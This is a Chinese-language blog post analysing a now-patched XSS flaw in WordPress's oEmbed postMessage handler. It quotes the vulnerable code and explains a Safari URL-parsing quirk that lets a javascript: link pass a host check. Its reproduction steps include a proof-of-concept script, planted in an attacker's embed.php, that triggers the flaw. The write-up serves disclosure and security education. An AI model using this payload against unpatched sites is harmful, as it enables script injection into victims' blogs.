写点什么

WordPress 开放嵌入自动发现功能中的 XSS 漏洞分析

作者:qife122
  • 2025-08-23
    福建
  • 本文字数:2093 字

    阅读完需:约 7 分钟

WordPress 开放嵌入自动发现功能中的 XSS 漏洞

引言

用户常常认为知名软件没有安全漏洞,因为它已经被足够多的工具和安全测试人员检查过。然而,渗透测试人员或漏洞猎人不能做出这样的假设。漏洞可能潜伏在各种地方,找到一个有趣的漏洞通常需要耐心的搜索。


应用这种方法让我在像 WordPress 这样知名的 CMS 中发现了一个 XSS 类漏洞,我将在后文描述。

什么是 postMessage()?

为了理解我的思路和方法,我首先需要讨论 postMessage()是什么。它是 Web API 的一部分,允许 Window 对象之间进行安全跨源通信,这意味着该方法可以从一个窗口向另一个窗口发送消息,无论它们的来源如何。然而,错误使用此功能可能会打开潜在的安全漏洞向量,例如本文讨论的 XSS。

根本原因

让我们看看问题的核心——JavaScript postMessage 处理程序:


if (c.wp.receiveEmbedMessage = function(e) {    var t = e.data;    if (t)        if (t.secret || t.message || t.value)            if (!/[^a-zA-Z0-9]/.test(t.secret)) {                for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)                    n[o].style.display = "none";                for (o = 0; o < s.length; o++)                    if (r = s[o],                    e.source === r.contentWindow) {                        if (r.removeAttribute("style"),                        "height" === t.message) {                            if (1e3 < (i = parseInt(t.value, 10)))                                i = 1e3;                            else if (~~i < 200)                                i = 200;                            r.height = i                        }                        if ("link" === t.message)                            if (a = d.createElement("a"),                            i = d.createElement("a"),                            a.href = r.getAttribute("src"),                            i.href = t.value,                            i.host === a.host)                                if (d.activeElement === r)                                    c.top.location.href = t.value                    }            }}
复制代码


在这段代码中可以注意到:


  • 需要知道密钥(但它作为嵌入网页的 location.hash 提供,所以不是问题)

  • 只有内容窗口可以发送 postMessages(这很好,因为这是攻击者网站)

  • 如果 postMessage 数据的 message 属性有 link 值——会发生疯狂的事情


最重要的是c.top.location.href = t.value,其中 t 是攻击者控制的 postMessage 数据。


最后一点显然可能导致 XSS,如果攻击者使用javascript:alert(document.domain)作为 t.value,然而——在此之前进行了一个重要的检查:


if (a = d.createElement("a"),    i = d.createElement("a"),    a.href = r.getAttribute("src"),    i.href = t.value,    i.host === a.host)
复制代码


这段代码检查 t.value 中提供的主机名是否与嵌入页面的主机名相同。它创建<a>元素,但 t.value 作为 href 属性,然后——获取创建的 URL 的 host 属性。这种方法当然比某些正则表达式魔法更好,但 Safari 浏览器有一个特定的行为:


> var a = document.createElement("a")> a.href="javascript://google.com/%0aalert(document.domain);//"> console.log(a.host)< google.com
复制代码


所有其他浏览器在使用 javascript:方案时返回空字符串,但 Safari 不会。这可能导致攻击者使用 javascript 方案并在顶级窗口(受害者的博客)中执行 javascript 代码。

复现步骤

  1. 获取一个恶意的 WordPress 实例

  2. 编辑 wordpress/wp-includes/theme-compat/embed.php 文件并添加自定义 HTML 代码:


<script>if(document.location.hash.indexOf("secret") != -1) {  secret = document.location.hash.split("=")[1];  window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");}</script>
复制代码


  1. 在攻击者博客上创建任何帖子,发布并获取其 URL

  2. 在受害者 WordPress 站点(Safari)上添加新帖子,嵌入来自受害者 WordPress 的帖子

  3. 警报执行:


![XSS 警报执行示意图]

总结

这个分析和发现的漏洞表明,即使是像 WordPress 这样广泛使用的平台也不能免于 XSS 等已知漏洞。


我们在 JavaScript postMessage 处理程序中发现的问题显示了渗透测试人员如何利用不同 Web 浏览器工作原理的深入知识,攻击被认为安全的函数。这个问题现在已经修复,但它向所有创建网站和 Web 应用程序的人传达了一个明确的信息:安全审计需要持续进行并覆盖所有 Web 浏览器。

参考资料

  • https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5

  • https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码

  • 办公AI智能小助手
用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
WordPress开放嵌入自动发现功能中的XSS漏洞分析_XSS_qife122_InfoQ写作社区